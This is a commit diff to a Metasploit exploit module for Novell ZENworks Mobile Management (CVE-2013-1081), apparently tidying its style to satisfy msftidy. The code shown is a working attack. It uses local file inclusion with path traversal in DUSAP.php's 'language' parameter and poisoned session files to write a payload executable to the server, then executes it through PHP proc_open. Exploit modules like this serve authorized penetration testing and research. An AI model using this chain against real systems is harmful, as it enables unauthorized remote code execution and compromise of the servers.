Make msftidy happy

Author: wchen-r7

modules/exploits/windows/http/novell_mdm_lfi.rb

@@ -22,7 +22,7 @@ def initialize
 			'Author'         =>
 				[
 					'steponequit',
-					'Andrea Micalizzi (aka rgod)' #zdi report 
+					'Andrea Micalizzi (aka rgod)' #zdi report
 				],
 			'Platform'       => 'win',
 			'Targets'        =>
@@ -34,6 +34,7 @@ def initialize
 				[
 					['CVE', '2013-1081']
 				],
+			'DisclosureDate' => "Mar 13 2013",
 			'License'        => MSF_LICENSE
 		)
 
@@ -55,35 +56,46 @@ def setup_session()
 			'method' => "HEAD",
 			'uri' => normalize_uri("#{target_uri.path}/download.php"),
 			'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
-			}) 
+		})
 		return sess,cmd
 	end
 
 	def upload_shell(session_id,cmd_var)
-		fname = Rex::Text.rand_text_alpha(8)
+		fname   = Rex::Text.rand_text_alpha(8)
 		payload = generate_payload_exe
+		cmd     = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
+		cmd    << "file_put_contents($wdir.'#{fname}.exe',"
+		cmd    << "base64_decode(file_get_contents('php://input')));"
+
 		res = send_request_cgi({
-			'method' => 'POST',
-			'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
-			'data' => Rex::Text.encode_base64(payload),
+			'method'   => 'POST',
+			'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
+			'data'     => Rex::Text.encode_base64(payload),
 			'vars_get' => {
 				'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
-				cmd_var => "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';file_put_contents($wdir.'#{fname}.exe',base64_decode(file_get_contents('php://input')));"
-			}	
+				cmd_var    => cmd
+			}
 		})
 		return fname
 	end
 
 	def exec_shell(session_id,cmd_var,fname)
-                res = send_request_cgi({
-                        'method' => 'POST',
-                        'uri' => normalize_uri("#{target_uri.path}/DUSAP.php"),
-                        'data' => Rex::Text.encode_base64(payload),
-                        'vars_get' => {
-                                'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
-			cmd_var => "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';$cmd=$wdir.'#{fname}';$output=array();$handle=proc_open($cmd,array(1=>array('pipe','w')),$pipes,null,null,array('bypass_shell'=>true));if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
-                        }
-                })
+		cmd  = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
+		cmd << "$cmd=$wdir.'#{fname}';"
+		cmd << "$output=array();"
+		cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
+		cmd << "$pipes,null,null,array('bypass_shell'=>true));"
+		cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"
+
+		res = send_request_cgi({
+			'method'   => 'POST',
+			'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
+			'data'     => Rex::Text.encode_base64(payload),
+			'vars_get' => {
+				'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
+				cmd_var    => cmd
+			}
+		})
 	end
 
 
@@ -93,7 +105,8 @@ def exploit()
 			res = send_request_raw({
 				'method' => 'GET',
 				'uri' => uri
-				})
+			})
+
 			if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
 				print_status("Found Zenworks MDM, Checking application version")
 				ver = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]